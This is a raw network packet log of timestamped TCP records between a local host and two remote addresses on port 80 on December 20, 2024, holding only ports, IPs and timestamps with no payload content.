Dec 20, 2024 07:12:46.977078915 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.977137089 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.977199078 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.978055000 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.978142023 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.978209972 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.979207039 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.979274035 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.979357958 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.979506969 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.980120897 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.980230093 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.980256081 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.980284929 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.981179953 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.981230021 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.981309891 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.981431007 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.982213974 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.982280016 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.982327938 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.983087063 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.983217955 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.983306885 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.983346939 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.983417034 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.984268904 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.984385967 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.985305071 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.985430002 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.985465050 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.986012936 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.986377001 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.986622095 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.986661911 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.987390995 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.987520933 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.987541914 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.987585068 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.988415956 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.988548040 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.988564968 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.988607883 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.989476919 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.989531994 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.989588022 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.989672899 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.990510941 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.990573883 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.990633965 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.991099119 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.991539955 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.991666079 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.991700888 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.992583990 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.992697001 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.992728949 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.993618011 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.993654013 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.993735075 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.993741989 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.993859053 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.994663000 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.994782925 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.994815111 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.995038033 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.995707035 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.995824099 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.996742010 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.996777058 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.996965885 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.997159004 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.997771025 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.997900963 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.997929096 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.997970104 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.998786926 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.998864889 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.998913050 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.999299049 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.999842882 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.999968052 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.000000000 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.000286102 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.000874996 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.000976086 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.001008987 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.001756907 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.001934052 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.002010107 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.002106905 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.002943993 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.003045082 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.003053904 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.003215075 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.003983021 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.004065990 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.004110098 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.004255056 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.005007029 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.005064011 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.005086899 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.005234003 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.006061077 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.006169081 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.007102013 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.007209063 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.007242918 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.007971048 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.008111000 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.008224964 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.008230925 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.008290052 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.009197950 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.009541988 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.017621994 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.109908104 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.110043049 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.110367060 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.110399008 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.110598087 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.110764027 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.110793114 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.111619949 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.111716986 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.111829042 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.112648010 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.112742901 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.113451958 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.113667011 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.113758087 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.113821030 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.114665985 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.114775896 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.114806890 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.115725994 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.115789890 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.116060019 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.116728067 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.116789103 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.116916895 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.117754936 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.117841005 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.118747950 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.118784904 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.118849993 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.118881941 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.119750023 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.119808912 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.119839907 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.120805025 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.120867014 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.120894909 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.121829033 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.121922970 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.122864008 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.122951984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.122984886 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.123864889 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.123979092 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.124012947 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.124866009 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.124991894 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.125066996 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.125924110 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.125983000 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.126018047 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.126907110 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.127042055 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.127940893 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.128083944 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.128123045 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.128959894 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.129021883 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.129081964 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.130014896 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.130208015 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.130208015 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.131001949 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.131185055 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.131202936 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.132028103 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.132334948 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.133018017 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.133145094 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.133176088 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.134088993 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.134210110 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.134212971 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.135091066 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.135180950 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.135219097 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.136110067 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.136233091 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.136789083 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.137126923 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.137232065 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.137262106 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.138145924 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.138274908 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.138622999 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.138967991 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.139173985 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.139282942 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.139329910 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.140187025 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.140245914 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.140296936 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.141200066 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.141257048 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.141304016 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.142224073 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.142342091 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.142371893 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.143246889 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.143372059 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.144263029 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.144382954 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.144416094 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.145279884 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.145500898 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.145519018 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.146317959 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.146419048 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.146872044 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.146904945 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.146924019 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.147269011 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.147301912 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.147341013 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.147394896 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.147397041 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.147437096 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.147548914 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.147582054 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.147610903 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.147852898 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.148399115 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.148451090 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.148473024 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.148550034 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.148591995 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.148607969 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.148663998 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.149355888 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.149420023 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.149494886 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.149606943 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.149640083 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.150403023 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.150435925 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.150516033 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.150649071 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.150680065 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.150682926 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.151403904 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.151436090 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.151516914 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.151642084 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.151671886 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.151678085 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.151930094 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.152435064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.152506113 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.152542114 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.152664900 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.152784109 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.152807951 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.152828932 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.153434038 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.153551102 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.153579950 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.153695107 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.153760910 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.153826952 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.154350996 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.154429913 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.154583931 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.154747963 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.154807091 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.154807091 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.154861927 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.155467033 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.155519962 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.155522108 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.155586004 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.155783892 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.155904055 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.156503916 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.156538963 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.156651020 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.156797886 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.156824112 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.156944036 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.157114983 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.157515049 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.157562017 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.157622099 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.157860994 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.157912970 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.157933950 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.157964945 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.158555031 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.158706903 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.158730984 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.158936024 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.159044981 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.159327030 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.159548998 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.159672976 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.159683943 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.159918070 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.160056114 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.160566092 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.160626888 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.160629034 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.160701990 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.160974026 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.161102057 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.161134005 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.161607981 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.161639929 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.161716938 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.161788940 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.162003040 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.162101984 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.162147999 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.162246943 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.162621021 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.162727118 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.162823915 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.163069010 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.163161039 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.163239956 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.163309097 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.164102077 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.164203882 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.165144920 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.165262938 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.165293932 CET	49867	80	192.168.2.4	31.41.244.11
